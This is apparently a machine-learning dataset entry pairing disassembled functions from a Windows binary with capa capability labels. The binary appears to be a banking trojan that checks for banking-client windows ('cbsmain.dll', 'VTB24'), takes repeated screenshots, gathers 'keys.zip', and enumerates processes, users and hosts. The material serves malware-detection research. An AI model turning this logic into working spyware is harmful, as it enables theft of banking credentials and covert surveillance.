joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c1a0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF733BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001c1e8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF733BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001c1d0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001c21b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001c21b
test byte [esp + 0xc], 2
jne 0x1001c21b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001c070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001c268
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001c268
test byte [esp + 0xc], 2
jne 0x1001c268
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10059ca8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1004912c
push 0x10059ca8
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001c1a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001c320
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1001c330
push 0x10059eb0
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059eb0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001c354
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001c366
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [ebp - 0x108]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1001c3b9
call ebx
mov edi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001c3b2
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001c3c0
mov edx, dword [str.scrs]
mov cl, byte [0x10048a10]
mov dword [eax], edx
lea edx, [ebp - 0x108]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x1001c417
call ebx
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001c410
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [sym.imp.ntdll.dll__snprintf]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
inc esi
push esi
lea edx, [ebp - 0x108]
push edx
push str._s_02d.jpg
lea eax, [ebp - 0x210]
push 0x104
push eax
call edi
add esp, 0x14
lea ecx, [ebp - 0x210]
push ecx
call fcn.1001fda0
push 0xfa0
call ebx
cmp esi, 0xa
jl 0x1001c425
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001c500
Capabilities:
Create thread
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x10056654], 0
jne 0x1001c62e
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.cbsmain.dll
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001c62e
mov eax, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x104]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x10056650], 0
jne 0x1001c5b2
mov ecx, 0x10049174
lea eax, [ebp - 0x104]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001c597
test dl, dl
je 0x1001c593
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1001c597
add eax, 2
add ecx, 2
test dl, dl
jne 0x1001c577
xor eax, eax
jmp 0x1001c59c
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov dword [0x10056650], eax
test eax, eax
je 0x1001c62e
mov ecx, 0x10049184
lea eax, [ebp - 0x104]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001c5e0
test dl, dl
je 0x1001c5dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1001c5e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1001c5c0
xor eax, eax
jmp 0x1001c5e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1001c62e
push esi
push eax
push eax
push eax
push 0x1001c780
push eax
push eax
mov dword [0x10056654], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001c62d
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001c62d
test byte [ebp + 8], 2
jne 0x1001c62d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1001d180
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001d190
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001d190
push 0x10059488
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059488
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001d1b4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d1c6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001d217
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d210
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x1001d263
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d231
mov ecx, dword [str.keys.zip]
mov edx, dword [0x100489c4]
mov dword [eax], ecx
mov cl, byte [0x100489c8]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10024550
mov esp, ebp
pop ebp
ret 4
Function at 0x1001dde0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1001ddf0
push 0x1005a0b8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005a0b8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001de14
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001de26
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [ebp - 0x108]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1001de79
call ebx
mov edi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001de72
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001de80
mov edx, dword [str.scrs]
mov cl, byte [0x10048a10]
mov dword [eax], edx
lea edx, [ebp - 0x108]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x1001ded7
call ebx
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001ded0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [sym.imp.ntdll.dll__snprintf]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
inc esi
push esi
lea edx, [ebp - 0x108]
push edx
push str._s_02d.jpg
lea eax, [ebp - 0x210]
push 0x104
push eax
call edi
add esp, 0x14
lea ecx, [ebp - 0x210]
push ecx
call fcn.1001fda0
push 0xfa0
call ebx
cmp esi, 0xa
jl 0x1001dee5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001ec40
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalBE3CEFA7_B777_4e47_8B10_69745D04C732
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001ec88
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalBE3CEFA7_B777_4e47_8B10_69745D04C732
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001ec70
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001ecbb
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001ecbb
test byte [esp + 0xc], 2
jne 0x1001ecbb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001eb00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001ed08
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001ed08
test byte [esp + 0xc], 2
jne 0x1001ed08
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10059fb4
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.VTB24
push 0x10059fb4
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001ec40
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f4d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001f517
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x1001f58b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x1001f537
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001f580
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001f580
test byte [esp + 0xc], 2
jne 0x1001f580
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x1001f556
Function at 0x1001f8f0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xdf
lea eax, [ebp - 0xe3]
push 0
push eax
mov dword [ebp - 4], 0x104
movsb byte es:[edi], byte [esi]
call sub.ntdll.dll_memset
mov ecx, dword [0x10054278]
add esp, 0xc
push 0x110
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1001f9d9
push 0x110
push 0
push edi
call sub.ntdll.dll_memset
add esp, 0xc
test edi, edi
je 0x1001f9d9
mov esi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 4]
push edx
push edi
call esi
test eax, eax
jne 0x1001f994
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1001f994
mov eax, dword [ebp - 4]
mov ecx, edi
call fcn.1000e850
mov edi, eax
test edi, edi
je 0x1001f9d9
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x1001f9d9
push edi
call fcn.10015ee0
xor esi, esi
cmp byte [edi], 0
je 0x1001f9d9
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x1001f9d1
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x1001f9a2
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001f9f0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
mov ecx, 9
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xde
lea eax, [ebp - 0xe2]
push 0
push eax
mov dword [ebp - 4], 0x104
movsw word es:[edi], word [esi]
call sub.ntdll.dll_memset
mov ecx, dword [0x10054278]
add esp, 0xc
push 0x110
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1001fada
push 0x110
push 0
push edi
call sub.ntdll.dll_memset
add esp, 0xc
test edi, edi
je 0x1001fada
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 4]
push edx
push edi
call esi
test eax, eax
jne 0x1001fa95
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6f
jne 0x1001fa95
mov eax, dword [ebp - 4]
mov ecx, edi
call fcn.1000e850
mov edi, eax
test edi, edi
je 0x1001fada
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x1001fada
push edi
call fcn.10015ee0
xor esi, esi
cmp byte [edi], 0
je 0x1001fada
push ebx
movsx cx, byte [esi + edi]
lea ebx, [esi + edi]
movzx edx, cx
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
test eax, eax
jne 0x1001fad2
mov ecx, dword [ebp - 4]
push ecx
lea edx, [esi + edi + 1]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor esi, esi
inc esi
cmp byte [esi + edi], 0
jne 0x1001faa3
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001faf0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1001fbc2
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001fb10
sub eax, edx
je 0x1001fbc2
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x10108
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001fbc7
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [ebp - 4]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push ecx
mov dword [ebp - 8], 0x104
call edi
mov esi, eax
cmp esi, 0x103
je 0x1001fb9e
test esi, esi
jne 0x1001fbae
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10c]
push edx
push eax
call fcn.1001faf0
mov esi, eax
test esi, esi
je 0x1001fb44
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x3f2
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x1001fc90
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x1001fd4b
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.100070d0
mov esi, eax
test esi, esi
je 0x1001fd4b
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x1001fd28
rdtsc
xor dword [0x1005348c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x1005348c], eax
push 0x10047b34
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1001fd07
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001fd07
push 0x1005348c
call eax
mov ecx, dword [0x1005348c]
xor edx, edx
mov eax, ecx
or ebx, 0xffffffff
div ebx
add eax, ecx
mov dword [edi + 0x58], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
push edx
push esi
call fcn.10006ff0
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001fd4b
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001fda0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
sub esi, dword [esp + 0x20]
sub edi, dword [esp + 0x24]
push ebx
call dword [sym.imp.USER32.dll_GetWindowDC]
mov ebx, eax
test ebx, ebx
je 0x1001fe8f
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x1001fe70
push edi
push esi
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x14], eax
test eax, eax
je 0x1001fe70
mov ecx, dword [esp + 0x10]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
test eax, eax
je 0x1001fe70
mov edx, dword [esp + 0x10]
push 0xcc0020
push 0
push 0
push ebx
push edi
push esi
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x1001fe70
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x20]
push ecx
push edx
call fcn.1000c620
test eax, eax
je 0x1001fe70
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push eax
mov eax, dword [ebp + 8]
push ecx
call fcn.10006ff0
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001fe84
push eax
call esi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1001fe8f
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001fea0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.ntdll.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001ff38
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x1001ff9b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ff9b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x1001ff2f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001ff2f
test byte [ebp - 4], 2
jne 0x1001ff2f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1001ff05
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push str.kernel
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x1001ff7e
push str..dll
push eax
call edi
test eax, eax
jne 0x1001ff91
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x1001ff60
jmp 0x1001ff05
mov edi, 1
jmp 0x1001ff08
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001ffb0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
xor ebx, ebx
push 0x124
lea eax, [ebp - 0x128]
push ebx
push eax
mov dword [ebp - 0x12c], ebx
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001fff4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x12c]
push ecx
push esi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
cmp dword [ebp - 0x124], edx
je 0x1002002d
lea eax, [ebp - 0x12c]
push eax
push esi
call edi
test eax, eax
jne 0x10020012
jmp 0x10020032
mov ebx, 1
mov dword [ebp + 8], 0
test esi, esi
je 0x10020059
lea ecx, [ebp + 8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10020059
test byte [ebp + 8], 2
jne 0x10020059
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4